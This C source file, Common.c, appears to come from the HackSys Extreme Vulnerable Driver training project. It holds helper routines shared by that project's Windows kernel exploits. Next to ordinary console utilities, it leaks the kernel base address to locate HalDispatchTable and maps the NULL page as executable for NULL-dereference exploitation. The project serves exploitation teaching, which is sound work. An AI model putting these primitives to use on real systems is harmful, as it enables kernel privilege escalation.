mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
Ashfaq Ansari
289 lines
10 KiB
C
289 lines
10 KiB
C
/*++
|
|
|
|
## ## ######## ## ## ########
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
######### ###### ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ######## ### ########
|
|
|
|
HackSys Extreme Vulnerable Driver Exploit
|
|
|
|
Author : Ashfaq Ansari
|
|
Contact: ashfaq[at]payatu[dot]com
|
|
Website: http://www.payatu.com/
|
|
|
|
Copyright (C) 2011-2015 Payatu Technologies. All rights reserved.
|
|
|
|
This program is free software: you can redistribute it and/or modify
|
|
it under the terms of the GNU General Public License as published by
|
|
the Free Software Foundation, either version 3 of the License, or
|
|
(at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License
|
|
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
|
|
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS
|
|
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
|
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
|
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
|
|
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
|
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
|
|
See the file 'LICENSE' for complete copying permission.
|
|
|
|
Module Name:
|
|
Common.c
|
|
|
|
Abstract:
|
|
This module implements the methods which are
|
|
common to all the exploit modules.
|
|
|
|
--*/
|
|
|
|
#include "Common.h"
|
|
|
|
VOID ClearScreen()
|
|
{
|
|
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682022(v=vs.85).aspx
|
|
|
|
DWORD dwConSize;
|
|
HANDLE hConsole;
|
|
DWORD cCharsWritten;
|
|
COORD coordScreen = {0, 0};
|
|
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
|
|
|
hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
|
|
|
if (!GetConsoleScreenBufferInfo(hConsole, &csbi)) {
|
|
return;
|
|
}
|
|
|
|
dwConSize = csbi.dwSize.X * csbi.dwSize.Y;
|
|
|
|
if (!FillConsoleOutputCharacter(hConsole,
|
|
(TCHAR)' ',
|
|
dwConSize,
|
|
coordScreen,
|
|
&cCharsWritten )) {
|
|
return;
|
|
}
|
|
|
|
if (!GetConsoleScreenBufferInfo(hConsole, &csbi)) {
|
|
return;
|
|
}
|
|
|
|
if (!FillConsoleOutputAttribute(hConsole,
|
|
csbi.wAttributes,
|
|
dwConSize,
|
|
coordScreen,
|
|
&cCharsWritten)) {
|
|
return;
|
|
}
|
|
|
|
SetConsoleCursorPosition(hConsole, coordScreen);
|
|
}
|
|
|
|
|
|
VOID ColoredConsoleOuput(WORD wColor, CONST PTCHAR fmt, ...) {
|
|
SIZE_T length = 0;
|
|
PTCHAR debugString;
|
|
va_list args = NULL;
|
|
HANDLE hConsoleOutput;
|
|
WORD wCurrentAttributes;
|
|
CONSOLE_SCREEN_BUFFER_INFO consoleScreenBufferInfo;
|
|
|
|
va_start(args, fmt);
|
|
length = _vscprintf(fmt, args) + 2;
|
|
debugString = (PTCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length * sizeof(TCHAR));
|
|
hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
|
|
GetConsoleScreenBufferInfo(hConsoleOutput, &consoleScreenBufferInfo);
|
|
wCurrentAttributes = consoleScreenBufferInfo.wAttributes;
|
|
SetConsoleTextAttribute(hConsoleOutput, FOREGROUND_INTENSITY | wColor);
|
|
|
|
vfprintf(stderr, fmt, args);
|
|
vsprintf_s(debugString, length, fmt, args);
|
|
OutputDebugString(debugString);
|
|
|
|
SetConsoleTextAttribute(hConsoleOutput, wCurrentAttributes);
|
|
va_end(args);
|
|
HeapFree(GetProcessHeap(), 0, (LPVOID)debugString);
|
|
}
|
|
|
|
VOID CenterConsoleScreen() {
|
|
HWND hConsoleWindow = GetConsoleWindow();
|
|
int xPos = (GetSystemMetrics(SM_CXSCREEN) - 680) / 2;
|
|
int yPos = ((GetSystemMetrics(SM_CYSCREEN) - 350) / 2) - 150;
|
|
MoveWindow(hConsoleWindow, xPos, yPos, 700, 600, TRUE);
|
|
}
|
|
|
|
HANDLE GetDeviceHandle(LPCSTR lpFileName) {
|
|
HANDLE hFile = NULL;
|
|
|
|
hFile = CreateFile(lpFileName,
|
|
GENERIC_READ | GENERIC_WRITE,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
|
NULL,
|
|
OPEN_EXISTING,
|
|
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
|
|
NULL);
|
|
|
|
return hFile;
|
|
}
|
|
|
|
DWORD GetProcessID(LPCSTR processName) {
|
|
ULONG processID = 0;
|
|
HANDLE hProcessSnapshot = NULL;
|
|
PROCESSENTRY32 processEntry32 = {0};
|
|
processEntry32.dwSize = sizeof(PROCESSENTRY32);
|
|
|
|
// create the snapshot of all process
|
|
hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
|
|
if (!hProcessSnapshot) {
|
|
CloseHandle(hProcessSnapshot);
|
|
DEBUG_ERROR("\t\t[-] Failed Creating Snapshot Of Processes: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (!Process32First(hProcessSnapshot, &processEntry32)) {
|
|
CloseHandle(hProcessSnapshot);
|
|
DEBUG_ERROR("\t\t[-] Failed To Get Info About First Process: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
do {
|
|
if (strcmp(processName, processEntry32.szExeFile) == 0) {
|
|
processID = processEntry32.th32ProcessID;
|
|
break;
|
|
}
|
|
} while (Process32Next(hProcessSnapshot, &processEntry32));
|
|
|
|
CloseHandle(hProcessSnapshot);
|
|
|
|
return processID;
|
|
}
|
|
|
|
PVOID GetHalDispatchTable() {
|
|
PCHAR kernelImage;
|
|
NTSTATUS ntStatus;
|
|
SIZE_T returnLength;
|
|
HMODULE hNtDll = NULL;
|
|
PVOID pHalDispatchTable = 0;
|
|
HMODULE hKernelInUserMode = NULL;
|
|
PVOID pKernelBaseAddressInKernelMode;
|
|
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
|
|
|
|
hNtDll = LoadLibrary("ntdll.dll");
|
|
|
|
if (!hNtDll) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
|
|
|
|
if (!NtQuerySystemInformation) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
ntStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &returnLength);
|
|
|
|
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
|
|
HEAP_ZERO_MEMORY,
|
|
returnLength);
|
|
|
|
if (!pSystemModuleInformation) {
|
|
DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
ntStatus = NtQuerySystemInformation(SystemModuleInformation,
|
|
pSystemModuleInformation,
|
|
returnLength,
|
|
&returnLength);
|
|
|
|
if (ntStatus != STATUS_SUCCESS) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
pKernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
|
|
kernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;
|
|
|
|
DEBUG_INFO("\t\t\t[+] Loaded Kernel: %s\n", kernelImage);
|
|
DEBUG_INFO("\t\t\t[+] Kernel Base Address: 0x%p\n", pKernelBaseAddressInKernelMode);
|
|
|
|
hKernelInUserMode = LoadLibraryA(kernelImage);
|
|
|
|
if (!hKernelInUserMode) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
// this is still in user mode
|
|
pHalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");
|
|
|
|
if (!pHalDispatchTable) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hKernelInUserMode);
|
|
|
|
// here we get the address of HapDispatchTable in Kernel mode
|
|
pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pKernelBaseAddressInKernelMode);
|
|
|
|
DEBUG_INFO("\t\t\t[+] HalDispatchTable: 0x%p\n", pHalDispatchTable);
|
|
}
|
|
|
|
HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);
|
|
|
|
return pHalDispatchTable;
|
|
}
|
|
|
|
BOOL MapNullPage() {
|
|
HMODULE hNtdll;
|
|
PVOID baseAddress = (PVOID)0x00000001; // will be rounded down to the next host
|
|
// page size address boundary -> 0x00000000
|
|
|
|
SIZE_T regionSize = 0x1000; // will be rounded up to the next host
|
|
// page size address boundary -> 0x2000
|
|
NTSTATUS ntStatus;
|
|
|
|
hNtdll = GetModuleHandle("ntdll.dll");
|
|
|
|
// grab the address of NtAllocateVirtualMemory
|
|
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
|
|
|
|
if (!NtAllocateVirtualMemory) {
|
|
DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
// allocate the memory
|
|
ntStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, &baseAddress, 0, ®ionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
|
|
|
if (ntStatus != STATUS_SUCCESS) {
|
|
DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", ntStatus);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", baseAddress);
|
|
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", regionSize);
|
|
}
|
|
|
|
FreeLibrary(hNtdll);
|
|
|
|
return TRUE;
|
|
}
|